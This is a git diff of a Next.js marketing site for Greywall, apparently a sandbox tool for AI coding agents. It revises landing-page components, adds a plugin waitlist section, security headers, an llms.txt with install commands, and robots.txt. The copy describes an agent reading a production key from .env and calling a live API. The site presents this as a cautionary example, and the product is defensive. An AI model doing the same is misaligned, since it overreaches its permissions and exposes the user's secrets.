<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Clarity
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
See every network connection.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
You can't predict which domains your agent will reach for. GreyProxy captures
|
||||
every outbound connection and lets you allow or deny them in real time, without
|
||||
restarting the session.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
GreyProxy records each outbound request as it happens. You can allow known domains, deny unknown ones, and keep the session running while you decide.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -97,20 +93,26 @@ export function Observability() {
|
||||
{/* Screenshot with crossfade */}
|
||||
<div className="relative rounded-lg border border-border/40 overflow-hidden bg-white">
|
||||
{/* Hidden reference image to lock container height */}
|
||||
<img
|
||||
<Image
|
||||
src={slides[0].src}
|
||||
alt=""
|
||||
aria-hidden="true"
|
||||
width={2480}
|
||||
height={1810}
|
||||
className="w-full h-auto invisible"
|
||||
priority
|
||||
/>
|
||||
{slides.map((slide, i) => (
|
||||
<img
|
||||
<Image
|
||||
key={slide.label}
|
||||
src={slide.src}
|
||||
alt={slide.alt}
|
||||
width={2480}
|
||||
height={1810}
|
||||
className={`absolute inset-0 w-full h-full object-contain object-top transition-opacity duration-700 ${
|
||||
i === active ? 'opacity-100' : 'opacity-0'
|
||||
}`}
|
||||
priority={i === 0}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
@@ -150,8 +152,7 @@ export function Observability() {
|
||||
</div>
|
||||
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
|
||||
Every outbound request is visible. Allow trusted domains, block unknown ones,
|
||||
and adjust policies live as your agent works.
|
||||
Each outbound request stays visible. Policy changes apply while the agent keeps running.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -39,7 +39,7 @@ export function PlatformToggle() {
|
||||
onClick={() => setPlatform('linux')}
|
||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'linux'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
@@ -49,7 +49,7 @@ export function PlatformToggle() {
|
||||
onClick={() => setPlatform('macos')}
|
||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'macos'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import { ShieldCheck, ShieldOff } from 'lucide-react'
|
||||
|
||||
export function Problem() {
|
||||
return (
|
||||
@@ -8,18 +7,12 @@ export function Problem() {
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
||||
{/* Without Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<ShieldOff className="h-4 w-4 text-red-400/70" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-red-400/70 font-medium">
|
||||
Without Greywall
|
||||
</span>
|
||||
</div>
|
||||
<span className="text-sm font-sans uppercase tracking-[0.16em] text-red-500 font-semibold mb-3 block">
|
||||
Without Greywall
|
||||
</span>
|
||||
<div className="code-block p-5 sm:p-6 flex-1">
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
<div className="mb-5">
|
||||
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
@@ -55,24 +48,18 @@ export function Problem() {
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
The agent read your production Stripe key from .env and hit the live API to "test" its work. Helpful intent, real damage.
|
||||
The agent read a production key from <code className="font-mono text-[11px]">.env</code> and called the live API to test its changes. The action was plausible. The boundary was missing.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* With Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
With Greywall
|
||||
</span>
|
||||
</div>
|
||||
<span className="text-sm font-sans uppercase tracking-[0.16em] text-primary font-semibold mb-3 block">
|
||||
With Greywall
|
||||
</span>
|
||||
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
<div className="mb-5">
|
||||
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
@@ -111,7 +98,7 @@ export function Problem() {
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
Kernel-enforced. The agent adapts and does the job without accessing secrets or production systems.
|
||||
The boundary holds at the OS layer, so the agent has to continue without secrets or production access.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -119,14 +106,23 @@ export function Problem() {
|
||||
|
||||
{/* Resolution: Verification creates trust */}
|
||||
<div className="text-center max-w-3xl mx-auto">
|
||||
<blockquote className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
||||
<blockquote className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-6">
|
||||
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
||||
</blockquote>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto">
|
||||
Greywall gives you two pillars: <span className="text-foreground font-medium">control</span> over
|
||||
what agents can reach, and <span className="text-foreground font-medium">clarity</span> into
|
||||
every operation they perform.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mx-auto mb-10">
|
||||
Greywall shows the attempted reads, writes, and connections as they happen, then lets you decide what stays allowed.
|
||||
</p>
|
||||
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
||||
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
||||
<iframe
|
||||
src="https://www.youtube.com/embed/u7YFVGGpPRI"
|
||||
title="Greywall Demo"
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
className="absolute inset-0 w-full h-full"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
86
components/waitlist.tsx
Normal file
@@ -0,0 +1,86 @@
|
||||
'use client'
|
||||
|
||||
import { Gavel, Coins, Building2, Puzzle } from 'lucide-react'
|
||||
import { BetaSignup } from './beta-signup'
|
||||
|
||||
const plugins = [
|
||||
{
|
||||
icon: Puzzle,
|
||||
title: 'Custom policy plugins',
|
||||
desc: 'Heuristics as code. Allow or deny on whatever context you care about.',
|
||||
},
|
||||
{
|
||||
icon: Gavel,
|
||||
title: 'Model Council',
|
||||
desc: 'A panel of models votes on ambiguous requests. Guardrails without the friction.',
|
||||
},
|
||||
{
|
||||
icon: Coins,
|
||||
title: 'Token-saving MITM',
|
||||
desc: 'Cache, redact, and rewrite LLM traffic. Smaller bills.',
|
||||
},
|
||||
{
|
||||
icon: Building2,
|
||||
title: 'Enterprise controls',
|
||||
desc: 'SSO, audit trails, team rulesets, managed deployments.',
|
||||
},
|
||||
]
|
||||
|
||||
export function Waitlist() {
|
||||
return (
|
||||
<section id="waitlist" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-10">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Plugin SDK · Beta
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Extend Greyproxy.
|
||||
</h2>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
We're building a plugin layer on top of GreyProxy for teams that need custom policy logic and shared operational controls.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Plugin cards */}
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-4 sm:gap-6 mb-6">
|
||||
{plugins.map((p) => (
|
||||
<div
|
||||
key={p.title}
|
||||
className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30"
|
||||
>
|
||||
<div className="flex items-center gap-3 mb-3">
|
||||
<p.icon className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">{p.title}</h3>
|
||||
</div>
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{p.desc}
|
||||
</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Freedom guarantee */}
|
||||
<div className="mb-12 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Core stays free and open source.</span>{' '}
|
||||
Sandbox, GreyProxy, and the dashboard stay Apache 2.0. Team controls and plugins sit on top of that base.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Waitlist CTA */}
|
||||
<BetaSignup
|
||||
subject="Greywall enterprise / plugin SDK waitlist"
|
||||
message="(waitlist section signup)"
|
||||
buttonClassName="px-5 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||
successClassName="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium"
|
||||
errorClassName="text-xs text-red-400/80 font-sans text-center"
|
||||
wrapperClassName="flex flex-col items-center gap-2"
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -1,10 +1,6 @@
|
||||
/** @type {import('next').NextConfig} */
|
||||
const nextConfig = {
|
||||
typescript: {
|
||||
ignoreBuildErrors: true,
|
||||
},
|
||||
images: {
|
||||
unoptimized: true,
|
||||
remotePatterns: [
|
||||
{
|
||||
protocol: 'https',
|
||||
@@ -12,6 +8,19 @@ const nextConfig = {
|
||||
},
|
||||
],
|
||||
},
|
||||
async headers() {
|
||||
return [
|
||||
{
|
||||
source: '/(.*)',
|
||||
headers: [
|
||||
{ key: 'X-Frame-Options', value: 'DENY' },
|
||||
{ key: 'X-Content-Type-Options', value: 'nosniff' },
|
||||
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
|
||||
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
|
||||
],
|
||||
},
|
||||
]
|
||||
},
|
||||
}
|
||||
|
||||
export default nextConfig
|
||||
|
||||
BIN
public/activity.png
Normal file
|
After Width: | Height: | Size: 456 KiB |
BIN
public/agents/aider-ai.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
public/agents/anthropics.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
public/agents/block.png
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
public/agents/cline.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
public/agents/getcursor.png
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
public/agents/github.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
BIN
public/agents/google-gemini.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
public/agents/nicepkg.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
public/agents/openai.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
public/agents/sourcegraph.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
|
Before Width: | Height: | Size: 2.6 KiB After Width: | Height: | Size: 4.2 KiB |
BIN
public/conversations.png
Normal file
|
After Width: | Height: | Size: 527 KiB |
|
Before Width: | Height: | Size: 179 KiB After Width: | Height: | Size: 272 KiB |
|
Before Width: | Height: | Size: 0 B After Width: | Height: | Size: 850 B |
BIN
public/fonts/Aspekta-500.woff2
Normal file
BIN
public/fonts/Aspekta-600.woff2
Normal file
BIN
public/fonts/Aspekta-700.woff2
Normal file
BIN
public/fonts/source-serif-pro-600.woff2
Normal file
BIN
public/fonts/source-serif-pro-700.woff2
Normal file
19
public/greyhaven-lockup.svg
Normal file
@@ -0,0 +1,19 @@
|
||||
<svg width="285" height="70" viewBox="0 0 285 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<g clip-path="url(#clip0_0_17)">
|
||||
<path d="M97.7812 48.9805L97.368 44.8291C95.9388 47.2257 92.5701 49.6757 87.3541 49.6757C78.818 49.6757 71.2493 43.4 71.2493 32.6034C71.2493 21.8069 79.2312 15.5798 87.7187 15.5798C95.6569 15.5798 100.732 20.1493 102.482 25.5451L97.2659 27.5284C96.1576 23.8389 92.9298 20.6986 87.7138 20.6986C82.4979 20.6986 76.8736 24.4805 76.8736 32.6034C76.8736 40.7264 82.0409 44.6007 87.6701 44.6007C94.2666 44.6007 96.7604 40.0798 97.0375 37.2653H86.2409V32.4187H102.253V48.9805H97.7763H97.7812Z" fill="#161614"/>
|
||||
<path d="M120.57 31.8159C119.972 31.7235 119.37 31.6798 118.815 31.6798C114.664 31.6798 112.773 34.0763 112.773 38.2763V48.9805H107.421V26.5124H112.637V30.1097C113.697 27.6645 116.19 26.2354 119.141 26.2354C119.788 26.2354 120.342 26.3277 120.57 26.3715V31.8159Z" fill="#161614"/>
|
||||
<path d="M143.685 42.5688C142.484 46.4917 138.93 49.6757 133.535 49.6757C127.444 49.6757 122.048 45.2473 122.048 37.6348C122.048 30.5278 127.308 25.8223 132.98 25.8223C139.903 25.8223 143.962 30.3917 143.962 37.4938C143.962 38.3688 143.869 39.1077 143.821 39.2H127.395C127.531 42.6125 130.21 45.0577 133.53 45.0577C136.85 45.0577 138.42 43.3514 139.159 41.1348L143.68 42.5639L143.685 42.5688ZM138.566 35.2771C138.474 32.6473 136.719 30.2945 133.029 30.2945C129.66 30.2945 127.726 32.8757 127.541 35.2771H138.566Z" fill="#161614"/>
|
||||
<path d="M148.366 58.0708L153.767 46.3069L144.171 26.5125H150.213L156.674 40.7215L162.716 26.5125H168.389L154.088 58.0708H148.366Z" fill="#161614"/>
|
||||
<path d="M176.264 48.9805H170.912V15.575H176.264V28.6805C177.785 26.6972 180.323 25.8659 182.676 25.8659C188.213 25.8659 190.886 29.8326 190.886 34.7715V48.9805H185.534V35.6902C185.534 32.9194 184.29 30.7076 180.921 30.7076C177.97 30.7076 176.351 32.9194 176.259 35.7826V48.9805H176.264Z" fill="#161614"/>
|
||||
<path d="M201.337 36.1084L207.103 35.2334C208.396 35.0487 208.765 34.4021 208.765 33.6195C208.765 31.7285 207.472 30.207 204.521 30.207C201.571 30.207 200.137 32.0056 199.908 34.266L195.018 33.1577C195.431 29.2834 198.941 25.8223 204.478 25.8223C211.4 25.8223 214.03 29.7452 214.03 34.2174V45.3834C214.03 47.4153 214.263 48.7521 214.307 48.9806H209.324C209.28 48.8396 209.096 47.9209 209.096 46.1174C208.036 47.8237 205.819 49.6709 202.174 49.6709C197.468 49.6709 194.561 46.4431 194.561 42.8896C194.561 38.8744 197.512 36.6625 201.342 36.1084H201.337ZM208.765 39.6618V38.6459L202.908 39.5209C201.245 39.798 199.908 40.7216 199.908 42.5688C199.908 44.0903 201.06 45.4757 203.185 45.4757C206.184 45.4757 208.765 44.0466 208.765 39.6618Z" fill="#161614"/>
|
||||
<path d="M228.988 48.9805H223.635L214.501 26.5125H220.408L226.358 42.5687L232.172 26.5125H237.801L228.988 48.9805Z" fill="#161614"/>
|
||||
<path d="M259.856 42.5688C258.655 46.4917 255.101 49.6757 249.706 49.6757C243.615 49.6757 238.219 45.2473 238.219 37.6348C238.219 30.5278 243.478 25.8223 249.151 25.8223C256.074 25.8223 260.133 30.3917 260.133 37.4938C260.133 38.3688 260.04 39.1077 259.992 39.2H243.566C243.702 42.6125 246.381 45.0577 249.701 45.0577C253.021 45.0577 254.591 43.3514 255.33 41.1348L259.851 42.5639L259.856 42.5688ZM254.732 35.2771C254.64 32.6473 252.885 30.2945 249.195 30.2945C245.826 30.2945 243.892 32.8757 243.707 35.2771H254.732Z" fill="#161614"/>
|
||||
<path d="M269.393 48.9806H264.041V26.5125H269.257V29.5118C270.735 26.9306 273.408 25.866 275.902 25.866C281.39 25.866 284.02 29.8326 284.02 34.7715V48.9806H278.668V35.6903C278.668 32.9194 277.424 30.7076 274.055 30.7076C271.012 30.7076 269.393 33.0604 269.393 36.0111V48.9757V48.9806Z" fill="#161614"/>
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</g>
|
||||
<defs>
|
||||
<clipPath id="clip0_0_17">
|
||||
<rect width="284.02" height="70" fill="white"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.2 KiB |
9
public/greyhaven-mainbg.svg
Normal file
|
After Width: | Height: | Size: 1.3 MiB |
3
public/greyhaven-mark.svg
Normal file
@@ -0,0 +1,3 @@
|
||||
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.6 KiB |
BIN
public/greywall-logo.png
Normal file
|
After Width: | Height: | Size: 8.4 KiB |
|
Before Width: | Height: | Size: 585 B After Width: | Height: | Size: 850 B |
|
Before Width: | Height: | Size: 566 B After Width: | Height: | Size: 850 B |
@@ -1,24 +1,3 @@
|
||||
<svg viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<!-- Shield shape -->
|
||||
<path
|
||||
d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z"
|
||||
fill="#D95E2A"
|
||||
/>
|
||||
<!-- Inner geometric pattern -->
|
||||
<path
|
||||
d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z"
|
||||
fill="#161614"
|
||||
/>
|
||||
<!-- Data nodes -->
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<!-- Connection lines -->
|
||||
<path
|
||||
d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17"
|
||||
stroke="#D95E2A"
|
||||
stroke-width="1"
|
||||
stroke-linecap="round"
|
||||
/>
|
||||
<svg width="54" height="70" viewBox="0 0 54 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M53.9972 15.7111L44.9215 10.3833H44.4306L36.3222 15.1424V5.32778L27.2465 0H26.7556L17.6799 5.32778V15.1424L9.57153 10.3833H9.08056L0 15.7111V16.0611V54.2208L9.07569 59.6264H9.57153L17.675 54.8042V64.6042L26.7507 70.0097H27.2465L36.3222 64.6042V54.8042L44.4257 59.6264H44.9215L53.9972 54.2208V15.7111ZM9.32361 11.3653L17.4417 16.134L9.32361 20.966L1.20556 16.134L9.32361 11.3653ZM0.972222 17.1257L8.8375 21.8069V48.1931L0.972222 52.8111V17.1257ZM8.8375 49.3208V58.3479L1.20556 53.8028L8.8375 49.3208ZM9.80972 58.3479V49.3208L17.4417 53.8028L9.80972 58.3479ZM17.675 52.8111L9.80972 48.1931V21.8069L17.675 17.1257V52.8111ZM35.35 16.0611V25.5208L27.4847 20.9028V11.4285L35.35 6.74722V16.0611ZM26.9986 31.3444L18.8806 26.5125L26.9986 21.7437L35.1167 26.5125L26.9986 31.3444ZM27.4847 10.2958V1.26875L35.1167 5.75069L27.4847 10.2958ZM26.5125 1.26875V10.2958L18.8806 5.75069L26.5125 1.26875ZM18.6472 6.74236L26.5125 11.4236V20.8979L18.6472 25.516V6.74236ZM18.6472 27.5042L26.5125 32.1854V58.5715L18.6472 63.1896V27.5042ZM26.5125 59.6993V68.7264L18.8806 64.1812L26.5125 59.6993ZM27.4847 68.7264V59.6993L35.1167 64.1812L27.4847 68.7264ZM35.35 63.1896L27.4847 58.5715V32.1854L35.35 27.5042V63.1896ZM45.1597 11.6521L52.7917 16.134L45.1597 20.6792V11.6521ZM44.1875 11.6521V20.6792L36.5556 16.134L44.1875 11.6521ZM36.3222 17.1257L44.1875 21.8069V48.1931L36.3222 52.8111V17.1257ZM44.6736 58.6396L36.5556 53.8028L44.6736 49.034L52.7917 53.8028L44.6736 58.6396ZM53.025 52.8111L45.1597 48.1931V21.8069L53.025 17.1257V52.8111Z" fill="#161614"/>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 756 B After Width: | Height: | Size: 1.6 KiB |
30
public/llms.txt
Normal file
@@ -0,0 +1,30 @@
|
||||
# Greywall
|
||||
|
||||
> Container-free, default-deny sandboxing with real-time observability for AI agents on Linux and macOS.
|
||||
|
||||
Greywall is an open-source CLI tool that wraps any AI agent (Claude Code, Codex, Cursor, Aider, and others) in a kernel-enforced sandbox. It uses five security layers on Linux (Bubblewrap namespaces, Landlock filesystem, Seccomp BPF syscall filtering, eBPF monitoring, and TUN+SOCKS5 network proxy) and four on macOS (Seatbelt sandbox, filesystem policy, log stream monitor, and proxy-based network control). Default-deny policy means nothing is accessible unless explicitly granted. Built by Greyhaven, licensed Apache 2.0.
|
||||
|
||||
## Key Features
|
||||
- Filesystem isolation (kernel-enforced read/write/deny per path)
|
||||
- Network isolation (all traffic routed through GreyProxy)
|
||||
- Command blocking (detects blocked commands in pipes, chains, nested shells)
|
||||
- Real-time violation monitoring (every denial captured with full context)
|
||||
- Learning mode (auto-generates least-privilege templates from observed access)
|
||||
- Syscall filtering (blocks 27+ dangerous system calls via Seccomp BPF)
|
||||
- Dynamic allow/deny controls (adjust policies live without restarting)
|
||||
|
||||
## Links
|
||||
- [Homepage](https://greywall.io)
|
||||
- [Documentation](https://docs.greywall.io/)
|
||||
- [GitHub](https://github.com/GreyhavenHQ/greywall)
|
||||
- [Greyhaven (parent company)](https://greyhaven.co)
|
||||
|
||||
## Install
|
||||
- Homebrew: `brew tap greyhavenhq/tap && brew install greywall`
|
||||
- Curl: `curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh`
|
||||
- Go: `go install github.com/GreyhavenHQ/greywall/cmd/greywall@latest`
|
||||
|
||||
## Compatibility
|
||||
Works with: Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot.
|
||||
Platforms: Linux (3.8+), macOS.
|
||||
License: Apache 2.0.
|
||||
BIN
public/logs.png
|
Before Width: | Height: | Size: 352 KiB |
BIN
public/og-image.png
Normal file
|
After Width: | Height: | Size: 104 KiB |
|
Before Width: | Height: | Size: 203 KiB After Width: | Height: | Size: 320 KiB |
26
public/robots.txt
Normal file
@@ -0,0 +1,26 @@
|
||||
User-agent: *
|
||||
Allow: /
|
||||
Disallow: /api/
|
||||
|
||||
User-agent: GPTBot
|
||||
Allow: /
|
||||
|
||||
User-agent: OAI-SearchBot
|
||||
Allow: /
|
||||
|
||||
User-agent: ClaudeBot
|
||||
Allow: /
|
||||
|
||||
User-agent: PerplexityBot
|
||||
Allow: /
|
||||
|
||||
User-agent: CCBot
|
||||
Disallow: /
|
||||
|
||||
User-agent: anthropic-ai
|
||||
Disallow: /
|
||||
|
||||
User-agent: cohere-ai
|
||||
Disallow: /
|
||||
|
||||
Sitemap: https://greywall.io/sitemap.xml
|
||||
BIN
public/rules.png
|
Before Width: | Height: | Size: 265 KiB After Width: | Height: | Size: 323 KiB |